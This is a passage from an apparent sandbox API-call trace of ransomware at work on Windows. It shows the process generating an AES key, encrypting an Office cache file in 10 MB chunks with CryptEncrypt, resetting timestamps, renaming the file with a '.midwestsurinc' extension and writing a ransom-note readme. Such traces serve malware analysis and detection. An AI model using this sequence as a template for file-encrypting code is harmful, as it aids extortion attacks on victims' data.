lpFreeBytesAvailableToCaller=0x174fb88, lpTotalNumberOfBytes=0x0, lpTotalNumberOfFreeBytes=0x0 | out: lpFreeBytesAvailableToCaller=0x174fb88, lpTotalNumberOfBytes=0x0, lpTotalNumberOfFreeBytes=0x0) returned 1 [0078.242] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1a056d0) returned 1 [0078.243] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7fad8) returned 1 [0078.243] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PptLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-0018-0409-1000-0000000ff1ce}-c\\pptlr.cab"), fInfoLevelId=0x0, lpFileInformation=0x174fb00 | out: lpFileInformation=0x174fb00*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2d523500, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x2d523500, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xe8b079d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x431a290)) returned 1 [0078.243] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7fad8 [0078.243] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0x1969188 [0078.243] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7fad8) returned 1 [0078.243] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0x1969290 [0078.243] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7fb60) returned 1 [0078.243] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PptLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-0018-0409-1000-0000000ff1ce}-c\\pptlr.cab"), fInfoLevelId=0x0, lpFileInformation=0x174fab8 | out: lpFileInformation=0x174fab8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2d523500, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x2d523500, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xe8b079d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x431a290)) returned 1 [0078.243] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PptLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-0018-0409-1000-0000000ff1ce}-c\\pptlr.cab"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2e8 [0078.243] SetFileTime (hFile=0x2e8, lpCreationTime=0x0, lpLastAccessTime=0x174fafc, lpLastWriteTime=0x174fafc) returned 1 [0078.243] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7fb60 [0078.243] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7fad8 [0078.244] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7fb60) returned 1 [0078.244] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7fad8) returned 1 [0078.244] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x40) returned 0x10451d8 [0078.244] GetFileTime (in: hFile=0x2e8, lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x174fbd8 | out: lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x174fbd8*(dwLowDateTime=0xe8b079d0, dwHighDateTime=0x1d301be)) returned 1 [0078.244] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x40) returned 0x1045220 [0078.244] CryptGenKey (in: hProv=0x601ec8, Algid=0x6610, dwFlags=0x1000001, phKey=0x174fb20 | out: phKey=0x174fb20*=0x60d2e0) returned 1 [0078.244] CryptExportKey (in: hKey=0x60d2e0, hExpKey=0x606100, dwBlobType=0x1, dwFlags=0x0, pbData=0x0, pdwDataLen=0x174fb1c | out: pbData=0x0*, pdwDataLen=0x174fb1c*=0x20c) returned 1 [0078.244] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x240) returned 0x107fd60 [0078.244] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1045220) returned 1 [0078.244] CryptExportKey (in: hKey=0x60d2e0, hExpKey=0x606100, dwBlobType=0x1, dwFlags=0x0, pbData=0x107fd60, pdwDataLen=0x174fb1c | out: pbData=0x107fd60*, pdwDataLen=0x174fb1c*=0x20c) returned 1 [0078.245] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x40) returned 0x1045220 [0078.245] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x40) returned 0x10456e8 [0078.245] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x174fb10*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x174fb10*=0) returned 0x0 [0078.245] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x174fb28*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x174fb28*=0) returned 0x0 [0078.245] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0xa00000) returned 0x1f50020 [0078.245] ReadFile (in: hFile=0x2e8, lpBuffer=0x1f50020, nNumberOfBytesToRead=0xa00000, lpNumberOfBytesRead=0x174fb28, lpOverlapped=0x0 | out: lpBuffer=0x1f50020*, lpNumberOfBytesRead=0x174fb28*=0xa00000, lpOverlapped=0x0) returned 1 [0078.557] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0xa00000) returned 0x2960020 [0078.650] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1f50020) returned 1 [0078.693] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0xa00000) returned 0x1f50020 [0078.694] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1045220) returned 1 [0078.785] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x2960020) returned 1 [0078.826] CryptEncrypt (in: hKey=0x60d2e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x1f50020*, pdwDataLen=0x174fb24*=0xa00000, dwBufLen=0xa00000 | out: pbData=0x1f50020*, pdwDataLen=0x174fb24*=0xa00000) returned 1 [0078.914] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x174fb10*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x174fb10*=0) returned 0x0 [0078.914] WriteFile (in: hFile=0x2e8, lpBuffer=0x1f50020*, nNumberOfBytesToWrite=0xa00000, lpNumberOfBytesWritten=0x174fb28, lpOverlapped=0x0 | out: lpBuffer=0x1f50020*, lpNumberOfBytesWritten=0x174fb28*=0xa00000, lpOverlapped=0x0) returned 1 [0079.027] FlushFileBuffers (hFile=0x2e8) returned 1 [0079.051] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x174fb28*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x174fb28*=0) returned 0xa00000 [0079.051] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0xa00000) returned 0x2960020 [0079.052] ReadFile (in: hFile=0x2e8, lpBuffer=0x2960020, nNumberOfBytesToRead=0xa00000, lpNumberOfBytesRead=0x174fb28, lpOverlapped=0x0 | out: lpBuffer=0x2960020*, lpNumberOfBytesRead=0x174fb28*=0xa00000, lpOverlapped=0x0) returned 1 [0079.351] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0xa00000) returned 0x3370020 [0079.442] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x2960020) returned 1 [0079.489] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x3370020) returned 1 [0079.532] CryptEncrypt (in: hKey=0x60d2e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x1f50020*, pdwDataLen=0x174fb24*=0xa00000, dwBufLen=0xa00000 | out: pbData=0x1f50020*, pdwDataLen=0x174fb24*=0xa00000) returned 1 [0079.613] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=10485760, lpDistanceToMoveHigh=0x174fb10*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x174fb10*=0) returned 0xa00000 [0079.613] WriteFile (in: hFile=0x2e8, lpBuffer=0x1f50020*, nNumberOfBytesToWrite=0xa00000, lpNumberOfBytesWritten=0x174fb28, lpOverlapped=0x0 | out: lpBuffer=0x1f50020*, lpNumberOfBytesWritten=0x174fb28*=0xa00000, lpOverlapped=0x0) returned 1 [0079.734] FlushFileBuffers (hFile=0x2e8) returned 1 [0079.758] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x174fb28*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x174fb28*=0) returned 0x1400000 [0079.758] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0xa00000) returned 0x2960020 [0079.759] ReadFile (in: hFile=0x2e8, lpBuffer=0x2960020, nNumberOfBytesToRead=0xa00000, lpNumberOfBytesRead=0x174fb28, lpOverlapped=0x0 | out: lpBuffer=0x2960020*, lpNumberOfBytesRead=0x174fb28*=0xa00000, lpOverlapped=0x0) returned 1 [0080.028] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0xa00000) returned 0x3370020 [0080.131] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x2960020) returned 1 [0080.190] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x3370020) returned 1 [0080.234] CryptEncrypt (in: hKey=0x60d2e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x1f50020*, pdwDataLen=0x174fb24*=0xa00000, dwBufLen=0xa00000 | out: pbData=0x1f50020*, pdwDataLen=0x174fb24*=0xa00000) returned 1 [0080.315] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=20971520, lpDistanceToMoveHigh=0x174fb10*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x174fb10*=0) returned 0x1400000 [0080.315] WriteFile (in: hFile=0x2e8, lpBuffer=0x1f50020*, nNumberOfBytesToWrite=0xa00000, lpNumberOfBytesWritten=0x174fb28, lpOverlapped=0x0 | out: lpBuffer=0x1f50020*, lpNumberOfBytesWritten=0x174fb28*=0xa00000, lpOverlapped=0x0) returned 1 [0080.450] FlushFileBuffers (hFile=0x2e8) returned 1 [0080.475] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x174fb28*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x174fb28*=0) returned 0x1e00000 [0080.475] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0xa00000) returned 0x2960020 [0080.475] ReadFile (in: hFile=0x2e8, lpBuffer=0x2960020, nNumberOfBytesToRead=0xa00000, lpNumberOfBytesRead=0x174fb28, lpOverlapped=0x0 | out: lpBuffer=0x2960020*, lpNumberOfBytesRead=0x174fb28*=0xa00000, lpOverlapped=0x0) returned 1 [0080.775] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0xa00000) returned 0x3370020 [0080.885] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x2960020) returned 1 [0080.952] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x3370020) returned 1 [0080.995] CryptEncrypt (in: hKey=0x60d2e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x1f50020*, pdwDataLen=0x174fb24*=0xa00000, dwBufLen=0xa00000 | out: pbData=0x1f50020*, pdwDataLen=0x174fb24*=0xa00000) returned 1 [0081.082] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=31457280, lpDistanceToMoveHigh=0x174fb10*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x174fb10*=0) returned 0x1e00000 [0081.082] WriteFile (in: hFile=0x2e8, lpBuffer=0x1f50020*, nNumberOfBytesToWrite=0xa00000, lpNumberOfBytesWritten=0x174fb28, lpOverlapped=0x0 | out: lpBuffer=0x1f50020*, lpNumberOfBytesWritten=0x174fb28*=0xa00000, lpOverlapped=0x0) returned 1 [0081.233] FlushFileBuffers (hFile=0x2e8) returned 1 [0081.256] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x174fb28*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x174fb28*=0) returned 0x2800000 [0081.256] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0xa00000) returned 0x2960020 [0081.257] ReadFile (in: hFile=0x2e8, lpBuffer=0x2960020, nNumberOfBytesToRead=0xa00000, lpNumberOfBytesRead=0x174fb28, lpOverlapped=0x0 | out: lpBuffer=0x2960020*, lpNumberOfBytesRead=0x174fb28*=0xa00000, lpOverlapped=0x0) returned 1 [0081.583] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0xa00000) returned 0x3370020 [0081.683] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x2960020) returned 1 [0081.741] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x3370020) returned 1 [0081.785] CryptEncrypt (in: hKey=0x60d2e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x1f50020*, pdwDataLen=0x174fb24*=0xa00000, dwBufLen=0xa00000 | out: pbData=0x1f50020*, pdwDataLen=0x174fb24*=0xa00000) returned 1 [0081.867] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=41943040, lpDistanceToMoveHigh=0x174fb10*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x174fb10*=0) returned 0x2800000 [0081.867] WriteFile (in: hFile=0x2e8, lpBuffer=0x1f50020*, nNumberOfBytesToWrite=0xa00000, lpNumberOfBytesWritten=0x174fb28, lpOverlapped=0x0 | out: lpBuffer=0x1f50020*, lpNumberOfBytesWritten=0x174fb28*=0xa00000, lpOverlapped=0x0) returned 1 [0081.995] FlushFileBuffers (hFile=0x2e8) returned 1 [0082.020] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x174fb28*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x174fb28*=0) returned 0x3200000 [0082.020] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0xa00000) returned 0x2960020 [0082.021] ReadFile (in: hFile=0x2e8, lpBuffer=0x2960020, nNumberOfBytesToRead=0xa00000, lpNumberOfBytesRead=0x174fb28, lpOverlapped=0x0 | out: lpBuffer=0x2960020*, lpNumberOfBytesRead=0x174fb28*=0xa00000, lpOverlapped=0x0) returned 1 [0082.375] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0xa00000) returned 0x3370020 [0082.473] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x2960020) returned 1 [0082.527] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x3370020) returned 1 [0082.571] CryptEncrypt (in: hKey=0x60d2e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x1f50020*, pdwDataLen=0x174fb24*=0xa00000, dwBufLen=0xa00000 | out: pbData=0x1f50020*, pdwDataLen=0x174fb24*=0xa00000) returned 1 [0082.652] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=52428800, lpDistanceToMoveHigh=0x174fb10*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x174fb10*=0) returned 0x3200000 [0082.652] WriteFile (in: hFile=0x2e8, lpBuffer=0x1f50020*, nNumberOfBytesToWrite=0xa00000, lpNumberOfBytesWritten=0x174fb28, lpOverlapped=0x0 | out: lpBuffer=0x1f50020*, lpNumberOfBytesWritten=0x174fb28*=0xa00000, lpOverlapped=0x0) returned 1 [0082.771] FlushFileBuffers (hFile=0x2e8) returned 1 [0082.795] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x174fb28*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x174fb28*=0) returned 0x3c00000 [0082.795] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x71a2c0) returned 0x2960020 [0082.796] ReadFile (in: hFile=0x2e8, lpBuffer=0x2960020, nNumberOfBytesToRead=0x71a290, lpNumberOfBytesRead=0x174fb28, lpOverlapped=0x0 | out: lpBuffer=0x2960020*, lpNumberOfBytesRead=0x174fb28*=0x71a290, lpOverlapped=0x0) returned 1 [0082.991] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x71a2c0) returned 0x3080020 [0083.065] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x2960020) returned 1 [0083.097] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x3080020) returned 1 [0083.129] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x71a6c0) returned 0x2960020 [0083.358] CryptEncrypt (in: hKey=0x60d2e0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2960020*, pdwDataLen=0x174fb24*=0x71a290, dwBufLen=0x71a690 | out: pbData=0x2960020*, pdwDataLen=0x174fb24*=0x71a2a0) returned 1 [0083.420] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x2960020) returned 1 [0083.451] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=62914560, lpDistanceToMoveHigh=0x174fb10*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x174fb10*=0) returned 0x3c00000 [0083.451] WriteFile (in: hFile=0x2e8, lpBuffer=0x1f50020*, nNumberOfBytesToWrite=0x71a290, lpNumberOfBytesWritten=0x174fb28, lpOverlapped=0x0 | out: lpBuffer=0x1f50020*, lpNumberOfBytesWritten=0x174fb28*=0x71a290, lpOverlapped=0x0) returned 1 [0083.540] FlushFileBuffers (hFile=0x2e8) returned 1 [0083.559] SetFileTime (hFile=0x2e8, lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x174fbd8) returned 1 [0083.561] NtClose (Handle=0x2e8) returned 0x0 [0083.889] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PptLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-0018-0409-1000-0000000ff1ce}-c\\pptlr.cab"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PptLR.cab.midwestsurinc" (normalized: "c:\\msocache\\all users\\{90140000-0018-0409-1000-0000000ff1ce}-c\\pptlr.cab.midwestsurinc")) returned 1 [0083.891] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PptLR.cab.midwestsurinc", dwFileAttributes=0x2020) returned 1 [0083.892] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PptLR.cab.midwestsurinc_readme", dwFileAttributes=0x80) returned 0 [0083.893] GetLastError () returned 0x2 [0083.893] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PptLR.cab.midwestsurinc_readme" (normalized: "c:\\msocache\\all users\\{90140000-0018-0409-1000-0000000ff1ce}-c\\pptlr.cab.midwestsurinc_readme"), fInfoLevelId=0x0, lpFileInformation=0x174fab8 | out: lpFileInformation=0x174fab8*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x40a79c, ftLastWriteTime.dwLowDateTime=0xf86010, ftLastWriteTime.dwHighDateTime=0x18fe40, nFileSizeHigh=0x0, nFileSizeLow=0x174fb60)) returned 0 [0083.893] GetLastError () returned 0x2 [0083.893] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PptLR.cab.midwestsurinc_readme" (normalized: "c:\\msocache\\all users\\{90140000-0018-0409-1000-0000000ff1ce}-c\\pptlr.cab.midwestsurinc_readme"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2e8 [0083.894] SetFileTime (hFile=0x2e8, lpCreationTime=0x0, lpLastAccessTime=0x174fafc, lpLastWriteTime=0x174fafc) returned 1 [0083.894] WriteFile (in: hFile=0x2e8, lpBuffer=0xf7fe10*, nNumberOfBytesToWrite=0x168, lpNumberOfBytesWritten=0x174fb28, lpOverlapped=0x0 | out: lpBuffer=0xf7fe10*, lpNumberOfBytesWritten=0x174fb28*=0x168, lpOverlapped=0x0) returned 1 [0083.895] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x40) returned 0x1045220 [0083.895] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x1b) returned 0x184c620 [0083.895] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x40) returned 0x1045730 [0083.895] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x184c620) returned 1 [0083.895] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1045730) returned 1 [0083.895] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x2d1) returned 0x1030560 [0083.896] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x300) returned 0xfe7ff0 [0083.896] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1030560) returned 1 [0083.896] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x300) returned 0x1030560 [0083.896] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1045220) returned 1 [0083.896] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfe7ff0) returned 1 [0083.896] WriteFile (in: hFile=0x2e8, lpBuffer=0x1030560*, nNumberOfBytesToWrite=0x2f9, lpNumberOfBytesWritten=0x174fb28, lpOverlapped=0x0 | out: lpBuffer=0x1030560*, lpNumberOfBytesWritten=0x174fb28*=0x2f9, lpOverlapped=0x0) returned 1 [0083.897] GetFileTime (in: hFile=0x2e8, lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x174fc3c | out: lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x174fc3c*(dwLowDateTime=0x51589670, dwHighDateTime=0x1d5dff7)) returned 1 [0083.897] SetFileTime (hFile=0x2e8, lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x174fbd8) returned 1 [0083.897] NtClose (Handle=0x2e8) returned 0x0 [0083.898] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PptLR.cab.midwestsurinc_readme", dwFileAttributes=0x2020) returned 1 [0083.898] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1030560) returned 1 [0083.898] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x10456e8) returned 1 [0083.898] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1f50020) returned 1 [0083.955] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0083.955] CryptDestroyKey (hKey=0x60d2e0) returned 1 [0083.956] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x10451d8) returned 1 [0083.956] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1969188) returned 1 [0083.957] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1969290) returned 1 [0083.957] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7fad8 [0083.958] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0018-0409-1000-0000000ff1ce}-c\\setup.xml"), fInfoLevelId=0x0, lpFileInformation=0x174fb04 | out: lpFileInformation=0x174fb04*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xecdfa490, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x75e)) returned 1 [0083.958] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7fb60 [0083.958] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1a056d0 [0083.958] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1a05648 [0083.958] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1a056d0) returned 1 [0083.958] GetDiskFreeSpaceExW (in: lpDirectoryName="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C", lpFreeBytesAvailableToCaller=0x174fb88, lpTotalNumberOfBytes=0x0, lpTotalNumberOfFreeBytes=0x0 | out: lpFreeBytesAvailableToCaller=0x174fb88, lpTotalNumberOfBytes=0x0, lpTotalNumberOfFreeBytes=0x0) returned 1 [0083.959] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1a05648) returned 1 [0083.959] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7fb60) returned 1 [0083.959] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0018-0409-1000-0000000ff1ce}-c\\setup.xml"), fInfoLevelId=0x0, lpFileInformation=0x174fb00 | out: lpFileInformation=0x174fb00*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xecdfa490, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x75e)) returned 1 [0083.959] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7fb60 [0083.959] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0x1969290 [0083.959] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7fb60) returned 1 [0083.959] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0x1969188 [0083.959] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7fad8) returned 1 [0083.959] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0018-0409-1000-0000000ff1ce}-c\\setup.xml"), fInfoLevelId=0x0, lpFileInformation=0x174fab8 | out: lpFileInformation=0x174fab8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xecdfa490, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x75e)) returned 1 [0083.959] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0018-0409-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2e8 [0083.960] SetFileTime (hFile=0x2e8, lpCreationTime=0x0, lpLastAccessTime=0x174fafc, lpLastWriteTime=0x174fafc) returned 1 [0083.960] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7fad8 [0083.960] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7fb60 [0083.960] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7fad8) returned 1 [0083.960] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7fb60) returned 1 [0083.960] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x40) 